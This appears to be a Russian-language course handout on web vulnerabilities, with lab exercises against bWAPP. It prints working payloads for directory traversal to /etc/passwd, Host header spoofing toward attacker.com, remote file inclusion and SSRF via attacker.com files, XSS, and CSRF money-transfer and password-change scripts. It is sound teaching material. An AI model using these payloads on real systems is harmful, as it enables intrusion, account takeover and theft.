Вы находитесь на странице: 1из 17

A-7

Отсутствие​​контроля​​доступа​​
к​​
функциональному​​
уровню

Принципы​​
атак​​на​​функциональный​​уровень

План​​
Занятия

Что​​
такое​​
обход​​каталога

Обход​​
каталога​​в​​каталогах

Обход​​
каталога​​в​​файлах

Предназначение​​заголовка​​хоста​​в​​HTTP

Атака​​
на​​
заголовок​​Host,​​приводящая​​к​​отравлению​​кэша

Атака​​
на​​
заголовок​​Host,​​приводящая​​к​​сбросу​​пароля.

Включение​​
локального​​или​​удаленного​​файла

Атака​​
на​​
ограничение​​доступа​​устройств​​через​​User​​Agent

Что​​
такое​​
подделка​​запросов​​на​​стороне​​сервера​​(SSRF)

Атака​​
SSRF

Что​​
такое​​
внешние​​объекты​​XML​​(XXE)

A-8.​​
Подделка​​межсайтовых​​запросов

Принципы​​CSRF​​атак

CSRF​​
при​​смене​​пользователя

CSRF​​
при​​смене​​пользовательских​​данных

©​​geekbrains.ru
CSRF​​
при​​переводе​​денежных​​средств​​в​​интернет-банкинге

Домашнее​​
задание

Дополнительные​​материалы

Используемая​​
литература

©​​geekbrains.ru 1
Принципы атак на функциональный
уровень
Атака на функциональный уровень - Если защита заключается лишь в том, что функции спрятаны, то
злоумышленник​​может​​попытаться​​получить​​доступ​​к​​закрытым​​функциям,​​подбирая​​вызовы​​к​​ним.

План​​
Занятия

Что​​такое​​
обход​​каталога
По сути, обход каталога является частным случаем уязвимости “Небезопасная ссылка на объект” , но
тем не менее OWASP выделяет данную уязвимость в целую категорию, которая заслуживает
внимание.

Рассмотрим​​
пару​​примеров​​с​​уязвимостью​​“Обход​​каталога”.

©​​geekbrains.ru 2
Для​​
BWAPP​​
ссылки​​на​​обход​​каталога​​будут​​такими:

URL:​​
http:///bWAPP/directory_traversal_2.php?directory=documents

http:///bWAPP/directory_traversal_2.php?directory=.

http:///bWAPP/directory_traversal_2.php?directory=passwords

http:///bWAPP/directory_traversal_2.php?directory=../

http:///bWAPP/directory_traversal_2.php?directory=../../

http:///bWAPP/directory_traversal_2.php?directory=../../../

Как можно понять из примера, если права на каталог пользователю установлены неверно, то,
используя команду ‘../’ (две точки и слэш), пользователь поднимается на уровень вверх, в обход
каталога,​​
к​​
которому​​у​​него​​есть​​права​​и​​возможность​​просматривать​​каталог​​целиком.

©​​geekbrains.ru 3
Обход​​
каталога​​в​​каталогах

Говоря об этой уязвимости, ее можно назвать “классикой”, т.к именно с нее начинается безопасность
WEB-серверов​​и​​WEB-платформ.

Современные веб-сервера не дадут Вам выйти из-за пределов корневого каталога (хотя в 2000-х эта
уязвимость​​
встречалась​​повсеместно).

Но в современных серверах уязвимость встречаеться там, где приложение подгружает файл, в этом
месте​​
как​​
раз​​
таки​​возможно​​осуществить​​атаку​​на​​обход​​каталога.​​Об​​этом​​слайд​​ниже.

©​​geekbrains.ru 4
Обход​​
каталога​​в​​файлах

Вот​​
как​​
раз​​
пару​​примеров​​на​​обход​​каталога,​​где​​подгружается​​файл.

Классикой​​
жанра​​в​​2000-х​​было​​зайти​​в​​обход​​каталога​​в​​папку​​/etc/passwd​​на​​*nix​​системе.

Но могу Вас уверить, что и сейчас эту уязвимость можно встретить в 17 процентах веб-серверов (По
статистике Owasp за 2016 год), главная причина - неопытные администраторы, забывшие установить
права​​
на​​
каталоги​​и​​файлы,​​либо​​банальный​​человеческий​​фактор.

URL:​​
http:///bWAPP/directory_traversal_1.php?page=message.txt

http:///bWAPP/directory_traversal_1.php?page=config.inc.php

http:///bWAPP/directory_traversal_1.php?page=../../../etc/passwd

http:///bWAPP/directory_traversal_1.php?page=passwords/heroes.xml

©​​geekbrains.ru 5
Предназначение заголовка хоста в
HTTP
Если мы посмотрим в RFC 2068, который регламентирует взаимодействию по протоколу HTTP то
увидим:

Веб-приложение может использовать значение Host из заголовка HTTP для формирования


абсолютного​​
URI,​​которое​​затем​​встраивается​​в​​HTML​​или​​используется​​для​​отправки​​E-Mail.

Но это поле контролируется отправителем и может быть подменено на любое другое, тогда сайт
будет​​
взаимодействовать​​с​​ложным​​сервером​.

Для атаки с подменой Host используются разные трюки. Одним из них является указание сразу
нескольких заголовков Host с разными значениями и использование того факта, что веб-сервер и
система​​
кеширования​​могут​​взять​​разные​​значения.

Атака на заголовок Host, приводящая к


отравлению​​кэша

©​​geekbrains.ru 6
URL:​​
http://itsecgames.com/bWAPP/hostheader_1.php

curl​​
--verbose​​
--header​​"Host:​​attacker.com"​​
"http://itsecgames.com/bWAPP/hostheader_1.php"

или​​
можно​​
использовать​​TamperData

в​​
качестве​​
имени​​хоста​​может​​быть​​и​​такое:

error"onerror='alert(1)'

тогда​​
будем​​
иметь​​xss

©​​geekbrains.ru 7
Атака на заголовок Host, приводящая к
сбросу​​
пароля.

Другой способ атаки возможен из-за недостаточно надёжной проверки допустимого значения Host.
Скажем, для сброса пароля генерируется ссылка https://site.com/reset.aspx?resetcode и отправляется
по e-mail. Пользователь отправляет скрипту reset.aspx resetcode и сбрасывает себе пароль. Если
ссылка генерируется на основании заголовка Host, то хакер может сделать запрос, подменив этот
заголовок, и на почту пользователю отправится ссылка https://attacker.com/reset.aspx?resetcode, если
пользователь нажмет на ссылку, то он передаст resetcode хакеру и хакер сможет сбросить пароль
пользователю,​​пройдя​​по​​правильной​​ссылке​​https://site.com/reset.aspx?resetcode

А еще через двоеточие в заголовке разрешается указывать порт, но вместо порта злоумышленник
может​​
вставить​​свой​​домен,​​например:​​Host:​​example.com:@attacker.com.

Это приведёт к формированию URI в формате с указанием имени и пароля через двоеточие, но сама
ссылка​​
уже​​
будет​​указывать​​на​​домен​​злоумышленника:​​http://example.com:@attacker.com.

Но, пожалуй, самым неожиданным фактом, позволяющим провести атаку, является указание в
запросе абсолютного пути ресурса. Дело в том, что согласно протоколу HTTP/1.1 при указании
абсолютного пути ресурса значение заголовка Host игнорируется, а в качестве него берётся хост из
пути ресурса. Это приводит к тому, что даже безопасно настроенный веб-сервер в таком случае
принимает запрос с подменённым значением Host, и то веб-приложение, которое использует HOST
вместо​​
SERVER_NAME,​​подвержено​​данной​​атаке.

URL​
:​​
http​
:​
//itsecgames.com/bWAPP/hostheader_2.php

curl ​ --​
verbose ​--​header ​"Host: attacker.com" ​--​data ​"email=bill%40microsoft.com&action=reset"
"http://itsecgames.com/bWAPP/hostheader_2.php"

©​​geekbrains.ru 8
Включение локального или удаленного
файла

Локальный​​
файл​​включить​​можно​​так:​​http://owasp/bWAPP/rlfi.php?language=../../../etc/passwd

Но​​тут​​
же​​
можно​​и​​подключить​​удаленный​​файл:
http://owasp/bWAPP/rlfi.php?language=http://attacker.com/evil/rfi.txt

Атака на ограничение доступа


устройств​​
через​​User​​Agent
Допустим,​​
какой-либо​​сайт​​контролирует​​
доступ​​к​​содержимому​​через​​поля​​user-agent.

Например, закрытый клуб пользователей Iphone. Подменить значения useragent очень легко,
например, используя дополнение для chrome “Random user agent”, дополнение позволяет выставить
любое​​
значение​​user-agent,​​включая​​даже​​Random,​​при​​каждом​​новом​​запуске​​браузера.

Либо​​
использовать​​дополнение​​для​​FireFox​​User​​Agent​​Switcher

©​​geekbrains.ru 9
Что такое подделка запросов на
стороне​​
сервера​​(SSRF)
Межсерверная подделка запросов происходит, когда мы отправляем пакет А на сервер, а сервер
отправляет​​
пакет​​В​​другому​​сервису​​(на​​том​​же​​хосте​​или​​на​​другом)

SSRF будет, если мы сможем влиять на поля запроса "В" манипулированием параметрами нашего
запроса​​
"А".

Атака​​
SSRF
Традиционные атаки направлены непосредственно на целевую систему и относительно легко
обнаруживаются IDS-системами или блокируются межсетевыми экранами. SSRF – пример более
сложной атаки, которую труднее предотвратить, так как атака осуществляется не напрямую, а через
посредника,​​
и​​
эксплойт​​передаётся​​в​​преобразованном​​виде,​​что​​затрудняет​​его​​обнаружение.

Не​​
путать​​
с​​
CSRF​​это​​похожее,​​но​​другое.

CSRF (англ. Сross Site Request Forgery — «Межсайтовая подделка запроса», также известен как
XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если
жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на
другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную
операцию​​
(например,​​перевод​​денег​​на​​счёт​​злоумышленника).

©​​geekbrains.ru 10
Сканирование​​
портов​​от​​bee-box​​с​​выводом​​результатов​​хакеру:

Делаем запрос, которые цепляет в параметр language RFI, в котором на PHP написан сканер
(ssrf-1.txt), IP для сканирования в php скрипт передается соседним параметром (?ip=scanme.nmap.org)
а​​
результат​​ виден​​клиенту​​в​​ответе​​сервера.

Включаем файл, который содержит код, приказывающий серверу выполнить сканирование


удаленного​​
сервера,​​с​​выводом​​результатов​​в​​окно​​браузера:

http://owasp/bWAPP/rlfi.php?ip=192.168.1.1&language=http://attacker.com/evil/ssrf-1.txt

Что​​такое​​
внешние​​объекты​​XML​​(XXE)
Entity - ссылки на данные, которые работают как аббревиатуры или могут располагаться на внешних
локациях.​​(​
https://xmlwriter.net/xml_guide/entity_declaration.shtml​)

XXE​​
(XML​​
External​​Entity​​Attacks)​​-​​Атака​​против​​приложения,​​которое​​анализирует​​входящий​​XML.

Эта атака происходит, когда входящий XML содержит ссылку на внешний объект, которая
некорректно​​
обрабатывается​​XML-парсером.

Через​​
XXE​​
может​​быть​​реализована​​атака​​SSRF.

©​​geekbrains.ru 11
XMLHttpRequest (XMLHTTP, XHR) — API, доступное в скриптовых языках браузеров, таких как
JavaScript.

Использует запросы HTTP или HTTPS напрямую к веб-серверу и загружает данные ответа сервера
напрямую в вызывающий скрипт. Информация может передаваться в любом текстовом формате,
например, в XML, HTML или JSON. Позволяет осуществлять HTTP-запросы к серверу без
перезагрузки​​
страницы.

Объект XMLHttpRequest реализует интерфейс, который позволяет скриптам использовать


функциональность​​HTTP-клиента,​​такую​​как​​отправка​​данных​​форм​​и​​загрузка​​данных​​с​​сервера.

В​​
примере​​
отправляется​​такой​​POST​​HTTP-запрос,​​чтобы​​другой​​скрипт​​сбросил​​secret​​пользователя.

Но​​
этот​​
запрос​​включает​​XML​​запрос,​​в​​который​​можно​​вклиниться.

A-8.​​Подделка​​
межсайтовых​​запросов
Принципы​​CSRF​​атак
CSRF​​
или​​
XSRF​​(Сross​​Site​​Request​​Forgery)

Межсайтовая подделка запроса Атака на клиентов. Если жертва заходит на сайт хакера, от её лица
незаметно отправляется запрос с вредоносной операцией на легитимный сервер. Для осуществления
данной атаки жертва должна быть аутентифицирована на том сервере, на который отправляется
запрос.

©​​geekbrains.ru 12
Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос
на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную
операцию​​(например,​​перевод​​денег​​на​​счёт​​злоумышленника).

Для осуществления данной атаки жертва должна быть аутентифицирована на том сервере, на
который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со
стороны​​
пользователя,​​который​​не​​может​​
быть​​проигнорирован​​или​​подделан​​атакующим​​скриптом.

Атака осуществляется путем размещения на веб-странице ссылки или скрипта, пытающегося


получить доступ к сайту, на котором атакуемый пользователь заведомо (или предположительно) уже
аутентифицирован.

Например, пользователь Маша может просматривать форум, где другой пользователь, Александр,
разместил​​
сообщение.

Пусть Александр создал тег <img>, в котором в качестве источника картинки указан URL, при
переходе​​
по​​
которому​​выполняется​​действие​​на​​сайте​​банка​​Маши,​​например:

Александр:​​
Привет,​​Маша!​​Посмотри,​​какой​​милый​​котик:

<img​src​
​​ =​"http://bank.com/withdraw?account=Maria&amount=1000000&for=Aleksandr">

Если банк Маши хранит ее информацию об аутентификации в куки и, если куки еще не истекли, при
попытке загрузить картинку браузер Маши отправит запрос на перевод денег на счет Александра и
подтвердит​​
аутентификацию​​при​​помощи​​
куки.

Таким​​
образом,​​транзакция​​пройдёт,​​хотя​​ее​​выполнение​​произойдет​​без​​ведома​​Маши.

Принципы​​
CSRF​​атак:

● Подделка​​межсайтовых​​запросов​​
при​​смене​​пароля;
● Подделка​​межсайтовых​​запросов​​
при​​смене​​пользовательских​​данных;
● Подделка​​межсайтовых​​запросов​​
при​​переводе​​денежных​​средств​​в​​интернет-банкинге.

©​​geekbrains.ru 13
CSRF​​
при​​смене​​пользователя

После атаки: если теперь другой пользователь зайдет на страничку блога, его браузер попытается
подгрузить​​
картинку,​​отправит​​запрос​​на​​смену​​пароля,​​пароль​​скинется​​в​​evil

CSRF​​
при​​смене​​пользовательских​​
данных

POST​​
request

©​​geekbrains.ru 14
Запись​​
имеет​​ограничение​​по​​длине​​в​​базе​​данных,​​поэтому​​надо​​скрипт​​обрезать:

hack​
<script>

var​xmlhttp;
​​

xmlhttp​
=​new​XMLHttpRequest​();
​​

xmlhttp​
.​
open​
(​
"POST"​,​"http://192.168.1.55/bWAPP/csrf_3.php"​,​true​);

xmlhttp​
.​
setRequestHeader​(​"Content-type"​,​"application/x-www-form-urlencoded"​);

xmlhttp​
.​
withCredentials​​=​​true;

xmlhttp​
.​
send​
(​
"secret=awesome&login=bee&action=change"​);</​script>

CSRF​​
при​​переводе​​денежных​​
средств​​
в​​
интернет-банкинге

<img ​ src​
=​"http:///bWAPP/csrf_2.php?account=666-66666-66&amount=100&action=transfer" ​height​
=​"0"
width​
=​"0">

©​​geekbrains.ru 15
У тех кто, будет заходить и видеть эту запись, через CSRF со счета будет списываться по amount=100
условных​​ EUR.

Домашнее​​
задание
1. Провести​​атаку​​на​​заголовок​​хоста,​​приводящую​​к​​отравлению​​кэша.
2. Исследовать атаку на включение удаленного файла, выполнить атаку, включив произвольный
файл​​
с​​другого​​хостинга.
3. Внедрить проверку на User-Agent в своем Web-приложении, осуществить спуфинг атаку, на
User-Agent.
4. * Сделать защиту от спуфинг атак подмены User-agent. (Чтобы даже при подмене User-agent,
сервер​​определял​​верный​​User-Agent).

Дополнительные​​материалы
1. Методы​​защиты​​от​​CSRF-атаки​​(https://habrahabr.ru/post/318748/)
2. Типичные​о​ шибки​​при​​защите​​сайтов​​от​​CSRF-атак​​(https://habrahabr.ru/post/235247/)

Используемая​​
литература
Для​​
подготовки​​данного​​методического​​пособия​​были​​использованы​​следующие​​ресурсы:

1. OWASP Testing Guide


(http://www.lulu.com/shop/owasp-foundation/owasp-testing-guide/paperback/product-5310589.html)
2. OWASP Backend Security
(http://www.lulu.com/shop/owasp-foundation/owasp-backend-security/paperback/product-4490173.ht
ml)
3. BWAPP​​Official​​PDF​​Guide

©​​geekbrains.ru 16

Вам также может понравиться